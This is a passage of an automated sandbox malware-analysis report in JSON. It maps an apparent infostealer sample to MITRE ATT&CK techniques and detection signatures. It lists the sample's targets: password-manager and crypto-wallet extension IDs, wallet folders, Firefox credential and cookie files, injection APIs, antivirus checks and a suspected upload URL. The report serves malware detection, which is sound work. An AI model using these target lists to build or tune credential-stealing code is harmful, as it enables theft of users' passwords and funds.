Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"References password manager extension ID(s)","description":"Found string \"gaedmjdfmmahhbjefcbgaolhhanlaolb\" (Source: \"sample.bin\"), Found string \"imloifkgjagghnncjkhggdhalmcnfklk\" (Source: \"sample.bin\"), Found string \"nngceckbapebfimnlniiiahkandclblb\" (Source: \"sample.bin\"), Found string \"bhghoamapcdpbohphigoooaddinpkbai\" (Source: \"sample.bin\"), Found string \"hdokiejnpimakedhajhdlcegeplioahd\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.005","id":"string-641","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to access crypto wallet extension (string)","description":"$25","origin":"sample.bin","mitre_attack_id":"T1217","id":"string-10066","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (string)","description":"$26","origin":"sample.bin","mitre_attack_id":"T1005","id":"string-125","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to retrieve browser history information","description":"Found string \"formhistory.sqlite\" (Indicator: \"formhistory.sqlite\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1217","id":"string-10069","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW@4\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW@4\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: sample.bin, \"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-96","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found Crypto currency wallets related strings","description":"Observed string: \"\\ElectronCash\\wallets\" (Indicator: \"\\electroncash\\wallets\") in Source: sample.bin, Observed string: \"\\Electrum\\wallets\" (Indicator: \"\\electrum\\wallets\") in Source: sample.bin, Observed string: \"\\Electrum-btcp\\wallets\" (Indicator: \"\\electrum-btcp\\wallets\") in Source: sample.bin, Observed string: \"\\Exodus\\backup\" (Indicator: \"\\exodus\\backup\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1005","id":"string-100","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"secret\" (Indicator: \"secret\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-475","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\"), Found reference to API \"GetProcAddress@8\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetTempPathA\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Firefox browser credentials files","description":"Found string \"key3.db\" (Indicator: \"key3.db\"; in Source: \"sample.bin\"), Found string \"key4.db\" (Indicator: \"key4.db\"; in Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.003","id":"string-405","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to retrieve saved login credentials from browser","description":"Found string \"logins.json\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.003","id":"string-693","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"_InterlockedExchangePointer\" (Indicator: \"InterlockedExchange\"; Source: \"sample.bin\"), Found reference to API \"K_InterlockedExchangePointer\" (Indicator: \"InterlockedExchange\"; Source: \"sample.bin\"), Found reference to API \"&_InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-115","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found browsers sensitive information related strings","description":"\"atomic\\Local Storage\\leveldb\" in Source: sample.bin, \"Authy Desktop\\Local Storage\\leveldb\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1005","id":"string-133","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve entry point of a process loaded into memory (API string)","description":"Found reference to API \"AddressOfEntryPoint\" (Indicator: \"AddressOfEntryPoint\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-311","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"paint.net\", Heuristic match: \"4kdownload.com\", Pattern match: \"https://update-ledger.net/update\", Heuristic match: \"battle.net\", Heuristic match: \"asp.net\", Heuristic match: \"wargaming.net\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"Found string \"Content-Type: multipart/form-data; boundary=----Boundary%lu\"; Source: \"sample.bin\"), Found string \"------Boundary%lu\nContent-Disposition: form-data; name=\"file\"; filename=\"%s.bin\"\nContent-Type: application/octet-stream\n\n\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1041","id":"string-511","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://update\"","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Invoke-WebRequest\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-282","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using web history","description":"Found string \"formhistory.sqlite\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-662","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Environment Awareness","name":"Found registry location string related to processor","description":"Observed string: \"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\" (Indicator: \"hardware\\description\\system\\centralprocessor\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-351","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-663","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; Source: \"sample.bin\"), Found reference to API \" LGetStartupInfoA@4\" (Indicator: \"GetStartupInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-167","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"Found string \"cookies.sqlite\" (Indicator: \"cookies.sqlite\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1539","id":"string-5058","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$27","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Possibly checks for the presence of an Antivirus engine","description":"\"SUPERAntiSpyware\" (Indicator: \"superantispyware\") in Source: sample.bin, \"Tencent\" (Indicator: \"tencent\") in Source: sample.bin, \"McAfee_Inc\" (Indicator: \"mcafee\") in Source: sample.bin, \"GLavasoft\" (Indicator: \"lavasoft\") in Source: sample.bin, \"Avira\" (Indicator: \"avira\") in Source: sample.bin, \"kingsoft\" (Indicator: \"kingsoft\") in Source: sample.bin, \"Baidu\" (Indicator: \"baidu\") in Source: sample.bin, \"McAfee\" (Indicator: \"mcafee\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-8","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Opera Software\\Opera Next\" in Source: sample.bin, \"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\" in Source: sample.bin, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" in Source: sample.bin, \"Opera Software\\Opera Developer\" in Source: sample.bin, \"Opera Software\\Opera Crypto Stable\" in Source: sample.bin, \"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" in Source: sample.bin, \"\\Opera Software\\\" in Source: sample.bin, \"BraveSoftware\\\" in Source: sample.bin, \"SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\" in Source: sample.bin, \"Opera Software\\Opera Stable\" in Source: sample.bin, \"@Opera Software\\Opera GX Stable\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"wShowWindow\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-208","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"file/memory contains long string with (Indicator: \"mozilla/5.0 (\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-127","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Invoke-Expression\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-288","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"#GetLastError@0\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \":GetLastError@0\" (Indicator: \"GetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"sample.bin\"), Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1132","id":"string-338","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; Source: \"sample.bin\"), Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; Source: \"sample.bin\"), Found reference to API \"f\nMSetUnhandledExceptionFilter@4\" (Indicator: \"SetUnhandledExceptionFilter\"; Source: \"sample.bin\"), Found reference to API \"f\nMSetUnhandledExceptionFilter@4\" (Indicator: \"UnhandledExceptionFilter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-148","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"before addCryptoWallets\" (Source: sample.bin, Indicator: \"cryptowall\")","origin":"sample.bin","mitre_attack_id":"T1491.001","id":"string-13","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"invalid compression level\" (Source: \"00000000-00005700.00000001.79190.00886000.00000002.mdmp\")\n Found string \"decompression failed or archive is corrupted\" (Source: \"00000000-00005700.00000001.79190.00886000.00000002.mdmp\")\n Found string \"compression failed\" (Source: \"00000000-00005700.00000001.79190.00886000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateRemoteThreadEx\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"OpenThread\" (Indicator: \"OpenThread\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")\n Found reference to API \"CreateRemoteThreadEx\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 49677-11-004014B0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2a","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00005700.00000002.81112.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003468.00000000.81496.00300000.00000004.mdmp, 00000000-00003468.00000001.82041.00353000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005700.00000000.77264.01210000.00000004.mdmp, 00000000-00005700.00000001.79190.01210000.00000004.mdmp, 00000000-00005700.00000002.81112.01210000.00000004.mdmp, 00000000-00005700.00000003.86634.01210000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Tries to steal crypto wallet extension (string)\n Matched sigs: Able to access crypto wallet extension (string)\n Matched sigs: Found Crypto currency wallets related strings\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Able to access crypto-related API (String)\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file 